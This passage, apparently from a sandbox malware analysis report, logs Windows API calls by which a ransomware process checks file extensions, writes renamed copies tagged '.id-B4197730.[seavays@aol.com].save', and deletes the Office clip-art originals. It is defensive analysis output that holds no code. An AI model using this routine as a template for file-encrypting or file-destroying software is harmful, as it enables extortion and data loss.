Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.823] lstrlenW (lpString=".1cd") returned 4 [0172.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF") returned 68 [0172.823] lstrlenW (lpString=".jpg") returned 4 [0172.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.823] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.824] lstrlenW (lpString="J0107264.WMF") returned 12 [0172.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.825] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5272) returned 1 [0172.825] CloseHandle (hObject=0x520) returned 1 [0172.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 0x220 [0172.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.826] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.826] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0172.827] GetLastError () returned 0x0 [0172.827] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1498, lpOverlapped=0x0) returned 1 [0172.829] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x14a0, lpOverlapped=0x0) returned 1 [0172.830] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0172.830] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0172.830] SetEndOfFile (hFile=0x524) returned 1 [0172.831] CloseHandle (hObject=0x524) returned 1 [0172.831] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.831] SetEndOfFile (hFile=0x520) returned 1 [0172.834] CloseHandle (hObject=0x520) returned 1 [0172.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0172.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf")) returned 1 [0172.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.836] lstrlenW (lpString=".doc") returned 4 [0172.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.836] lstrlenW (lpString=".docx") returned 5 [0172.836] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.836] lstrlenW (lpString=".pdf") returned 4 [0172.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.836] lstrlenW (lpString=".xls") returned 4 [0172.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.836] lstrlenW (lpString=".xlsx") returned 5 [0172.836] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.836] lstrlenW (lpString=".ppt") returned 4 [0172.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.836] lstrlenW (lpString=".zip") returned 4 [0172.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.836] lstrlenW (lpString=".rar") returned 4 [0172.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.836] lstrlenW (lpString=".bz2") returned 4 [0172.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.837] lstrlenW (lpString=".7z") returned 3 [0172.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.837] lstrlenW (lpString=".dbf") returned 4 [0172.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.837] lstrlenW (lpString=".1cd") returned 4 [0172.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.837] lstrlenW (lpString=".jpg") returned 4 [0172.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.837] lstrlenW (lpString=".doc") returned 4 [0172.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.837] lstrlenW (lpString=".docx") returned 5 [0172.837] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0172.837] lstrlenW (lpString=".pdf") returned 4 [0172.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.837] lstrlenW (lpString=".xls") returned 4 [0172.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.837] lstrlenW (lpString=".xlsx") returned 5 [0172.837] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0172.837] lstrlenW (lpString=".ppt") returned 4 [0172.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.838] lstrlenW (lpString=".zip") returned 4 [0172.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.838] lstrlenW (lpString=".rar") returned 4 [0172.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.838] lstrlenW (lpString=".bz2") returned 4 [0172.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.838] lstrlenW (lpString=".7z") returned 3 [0172.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.838] lstrlenW (lpString=".dbf") returned 4 [0172.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.838] lstrlenW (lpString=".1cd") returned 4 [0172.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF") returned 68 [0172.838] lstrlenW (lpString=".jpg") returned 4 [0172.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.838] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0172.838] lstrlenW (lpString="J0107266.WMF") returned 12 [0172.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.839] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5868) returned 1 [0172.839] CloseHandle (hObject=0x520) returned 1 [0172.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 0x220 [0172.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0172.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0172.840] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.841] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0172.842] GetLastError () returned 0x0 [0172.842] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x16ec, lpOverlapped=0x0) returned 1 [0172.901] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x16f0, lpOverlapped=0x0) returned 1 [0172.902] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0172.902] WriteFile (in: hFile=0x524, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0172.902] SetEndOfFile (hFile=0x524) returned 1 [0172.902] CloseHandle (hObject=0x524) returned 1 [0172.902] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0172.902] SetEndOfFile (hFile=0x520) returned 1 [0172.906] CloseHandle (hObject=0x520) returned 1 [0172.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0173.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.490] lstrlenW (lpString=".doc") returned 4 [0173.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.490] lstrlenW (lpString=".docx") returned 5 [0173.490] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0173.490] lstrlenW (lpString=".pdf") returned 4 [0173.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.490] lstrlenW (lpString=".xls") returned 4 [0173.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.490] lstrlenW (lpString=".xlsx") returned 5 [0173.490] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0173.490] lstrlenW (lpString=".ppt") returned 4 [0173.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.490] lstrlenW (lpString=".zip") returned 4 [0173.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.490] lstrlenW (lpString=".rar") returned 4 [0173.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.490] lstrlenW (lpString=".bz2") returned 4 [0173.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.490] lstrlenW (lpString=".7z") returned 3 [0173.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.490] lstrlenW (lpString=".dbf") returned 4 [0173.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.490] lstrlenW (lpString=".1cd") returned 4 [0173.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.491] lstrlenW (lpString=".jpg") returned 4 [0173.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.491] lstrlenW (lpString=".doc") returned 4 [0173.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.491] lstrlenW (lpString=".docx") returned 5 [0173.491] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0173.491] lstrlenW (lpString=".pdf") returned 4 [0173.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.491] lstrlenW (lpString=".xls") returned 4 [0173.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.491] lstrlenW (lpString=".xlsx") returned 5 [0173.491] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0173.491] lstrlenW (lpString=".ppt") returned 4 [0173.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.491] lstrlenW (lpString=".zip") returned 4 [0173.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.491] lstrlenW (lpString=".rar") returned 4 [0173.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.491] lstrlenW (lpString=".bz2") returned 4 [0173.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.491] lstrlenW (lpString=".7z") returned 3 [0173.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.491] lstrlenW (lpString=".dbf") returned 4 [0173.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.491] lstrlenW (lpString=".1cd") returned 4 [0173.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF") returned 68 [0173.492] lstrlenW (lpString=".jpg") returned 4 [0173.492] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.492] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.492] lstrlenW (lpString="J0107342.WMF") returned 12 [0173.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.492] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4244) returned 1 [0173.493] CloseHandle (hObject=0x520) returned 1 [0173.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 0x220 [0173.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0173.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0173.493] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.493] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.493] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0173.494] GetLastError () returned 0x0 [0173.494] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1094, lpOverlapped=0x0) returned 1 [0173.496] WriteFile (in: hFile=0x538, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x10a0, lpOverlapped=0x0) returned 1 [0173.497] ReadFile (in: hFile=0x520, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0173.497] WriteFile (in: hFile=0x538, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0173.497] SetEndOfFile (hFile=0x538) returned 1 [0173.497] CloseHandle (hObject=0x538) returned 1 [0173.497] SetFilePointerEx (in: hFile=0x520, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0173.497] SetEndOfFile (hFile=0x520) returned 1 [0173.500] CloseHandle (hObject=0x520) returned 1 [0173.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0173.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 1 [0173.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.501] lstrlenW (lpString=".doc") returned 4 [0173.501] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.501] lstrlenW (lpString=".docx") returned 5 [0173.501] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.501] lstrlenW (lpString=".pdf") returned 4 [0173.501] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.501] lstrlenW (lpString=".xls") returned 4 [0173.502] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.502] lstrlenW (lpString=".xlsx") returned 5 [0173.502] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.502] lstrlenW (lpString=".ppt") returned 4 [0173.502] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.502] lstrlenW (lpString=".zip") returned 4 [0173.502] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.502] lstrlenW (lpString=".rar") returned 4 [0173.502] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.502] lstrlenW (lpString=".bz2") returned 4 [0173.502] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.502] lstrlenW (lpString=".7z") returned 3 [0173.502] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.502] lstrlenW (lpString=".dbf") returned 4 [0173.502] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.502] lstrlenW (lpString=".1cd") returned 4 [0173.502] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.502] lstrlenW (lpString=".jpg") returned 4 [0173.502] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.502] lstrlenW (lpString=".doc") returned 4 [0173.502] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0173.502] lstrlenW (lpString=".docx") returned 5 [0173.502] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0173.503] lstrlenW (lpString=".pdf") returned 4 [0173.503] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0173.503] lstrlenW (lpString=".xls") returned 4 [0173.503] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0173.503] lstrlenW (lpString=".xlsx") returned 5 [0173.503] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0173.503] lstrlenW (lpString=".ppt") returned 4 [0173.503] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0173.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.503] lstrlenW (lpString=".zip") returned 4 [0173.503] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0173.503] lstrlenW (lpString=".rar") returned 4 [0173.503] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0173.503] lstrlenW (lpString=".bz2") returned 4 [0173.503] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0173.503] lstrlenW (lpString=".7z") returned 3 [0173.503] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0173.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.503] lstrlenW (lpString=".dbf") returned 4 [0173.503] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0173.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.503] lstrlenW (lpString=".1cd") returned 4 [0173.503] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0173.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF") returned 68 [0173.503] lstrlenW (lpString=".jpg") returned 4 [0173.503] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0173.504] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0173.504] lstrlenW (lpString="J0107344.WMF") returned 12 [0173.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), 